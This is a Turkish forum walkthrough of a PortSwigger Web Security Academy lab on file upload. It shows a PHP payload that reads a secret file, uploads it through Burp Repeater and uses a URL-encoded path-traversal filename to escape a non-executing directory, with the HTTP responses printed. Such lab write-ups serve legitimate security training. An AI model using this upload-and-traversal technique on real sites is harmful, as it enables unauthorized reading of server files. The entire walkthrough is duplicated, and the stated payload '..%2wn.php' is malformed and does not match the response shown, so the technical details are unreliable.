Selamlar arkadaş sırasıyla PortSwigger File Upload Lablarını paylaşmaya devam edicem gelin hemen başlayalım.
Bu labda bizden istedigi şey aslında yine /home/carlos/secret içindeki flagı yakalamka ama bu sefer düz upload ettigimzde dizin wn.php yi script olarak degil düz bir text parçası olarak çalıştırıyor onuda denicez şimdi.
Şimdi lab link aldık My account dedik ve giriş yaptık. Giriş Bilgileri wiener : peter
Karşımıza yeniden lanet olası İmage Upload Bölümü geldi.

Yine lanet olası wn.php dosyamız. Neydi peki bu wn.php ?
Kod:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Kodu Anlayalım :
file_get_contents('/home/carlos/secret'); Belirtilen yoldaki dosyanın içerigini alır.
echo alınan içergi ekranan yazdırır.
Evet kodumuzu yine gördük ve kendimize geldik gelin şimdi upload işlemlerine başlayalıms.
İlk başta düz upload edicem ve alacagımız hataya bakalım canlar,

Yakaladıgımız istegin üstüne sağ tık yapalım ve "Send To Repeater" diyelim
Evet şimdi Repeater bölümüne girelim ve ilk başta düz filename="wn.php" şeklinde upload deneylim.

Babuş burrda Response bölümüne dikkatli bakarsanız göreceksiniz ki
The file avatars/wn.php has been uploaded
Yani diyorki dosyanı avatar/wn.php şeklinde kaydettim koş bak diyor bi seviniyorum ilk başta ama sonra sorunu hatırlıyorum, avatars dizininde .php dosyaları script olarak degil text olarak çalıştırılıyor.... (aşagıdaki görsel işte)

Peki ne yapcaz diye soracak olursanız bizde bu wn.php dosyasını bir üst dizine kayıt edicez, Peki ya nasıl ? Gelin Beraber Bakalım.
Biliyorsunuz ki normal şartlarda terminalde veya dosya sisteminde bir üst dizine çıkmak için hepimizin bildiği ../ komutunu kullanırız. Peki filename="../wn.php" yapmamız yetecekmi bakalım hemen.
Response :
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:50:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 127
The file avatars/wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Görüyoruzki yine avatars/wn.php diye kaydetmiş peki nasıl aşıcaz bu durumu ?
Tabikide url encoding. Birazdan ne demek istedigimi daha iyi anlamış olucaksınız.
Url encoding de "../wn.php" yerine / karakterini encode edip / slash yerine %2 yazcaz. Senaryo şöyle olucak yani filename="..%2wn.php" şeklinde gönerdez istegi gelin bakalım hemen.
Response:
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:28:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/../wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Görüyoruzki dosyamız şuan bir üst dizine kayıt edilmiş şimdi gelin GET istegi ile bakalım. (Gençler direk tarayıcıdan /files/wn.php toluna giderekte flag ı yakalayabilirsiniz ama amacımız Burp Suite alışmak)
Evet Direk Repeater da bulundugumuz Requests ölümündeki herşeyi silin ve ordan direk GET istegini atalım,
Requests :
GET /files/wn.php HTTP/2
Host: 0ad50000049fa59e8509a45c00ff001f.web-security-academy.net ( Siz buraya kendi lab ortamınızı yazacaksınız )

Görüyoruzki flagı yakaladık.
Daha yeni dedigim gibi istersek browserdan giripte alabiliriz.

Evet gençler bugünde bu kadardı , yine kolay bir labdı. Eğlenmek için konu açıyorum zaten takıldıgınız veya anlamadıgınız yer olursa yazın bakam. İyi forumlar...
Bu labda bizden istedigi şey aslında yine /home/carlos/secret içindeki flagı yakalamka ama bu sefer düz upload ettigimzde dizin wn.php yi script olarak degil düz bir text parçası olarak çalıştırıyor onuda denicez şimdi.
Şimdi lab link aldık My account dedik ve giriş yaptık. Giriş Bilgileri wiener : peter
Karşımıza yeniden lanet olası İmage Upload Bölümü geldi.

Yine lanet olası wn.php dosyamız. Neydi peki bu wn.php ?
Kod:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Kodu Anlayalım :
file_get_contents('/home/carlos/secret'); Belirtilen yoldaki dosyanın içerigini alır.
echo alınan içergi ekranan yazdırır.
Evet kodumuzu yine gördük ve kendimize geldik gelin şimdi upload işlemlerine başlayalıms.
İlk başta düz upload edicem ve alacagımız hataya bakalım canlar,

Yakaladıgımız istegin üstüne sağ tık yapalım ve "Send To Repeater" diyelim
Evet şimdi Repeater bölümüne girelim ve ilk başta düz filename="wn.php" şeklinde upload deneylim.

Babuş burrda Response bölümüne dikkatli bakarsanız göreceksiniz ki
The file avatars/wn.php has been uploaded
Yani diyorki dosyanı avatar/wn.php şeklinde kaydettim koş bak diyor bi seviniyorum ilk başta ama sonra sorunu hatırlıyorum, avatars dizininde .php dosyaları script olarak degil text olarak çalıştırılıyor.... (aşagıdaki görsel işte)

Peki ne yapcaz diye soracak olursanız bizde bu wn.php dosyasını bir üst dizine kayıt edicez, Peki ya nasıl ? Gelin Beraber Bakalım.
Biliyorsunuz ki normal şartlarda terminalde veya dosya sisteminde bir üst dizine çıkmak için hepimizin bildiği ../ komutunu kullanırız. Peki filename="../wn.php" yapmamız yetecekmi bakalım hemen.
Response :
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:50:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 127
The file avatars/wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Görüyoruzki yine avatars/wn.php diye kaydetmiş peki nasıl aşıcaz bu durumu ?
Tabikide url encoding. Birazdan ne demek istedigimi daha iyi anlamış olucaksınız.
Url encoding de "../wn.php" yerine / karakterini encode edip / slash yerine %2 yazcaz. Senaryo şöyle olucak yani filename="..%2wn.php" şeklinde gönerdez istegi gelin bakalım hemen.
Response:
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:28:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/../wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Görüyoruzki dosyamız şuan bir üst dizine kayıt edilmiş şimdi gelin GET istegi ile bakalım. (Gençler direk tarayıcıdan /files/wn.php toluna giderekte flag ı yakalayabilirsiniz ama amacımız Burp Suite alışmak)
Evet Direk Repeater da bulundugumuz Requests ölümündeki herşeyi silin ve ordan direk GET istegini atalım,
Requests :
GET /files/wn.php HTTP/2
Host: 0ad50000049fa59e8509a45c00ff001f.web-security-academy.net ( Siz buraya kendi lab ortamınızı yazacaksınız )

Görüyoruzki flagı yakaladık.
Daha yeni dedigim gibi istersek browserdan giripte alabiliriz.

Evet gençler bugünde bu kadardı , yine kolay bir labdı. Eğlenmek için konu açıyorum zaten takıldıgınız veya anlamadıgınız yer olursa yazın bakam. İyi forumlar...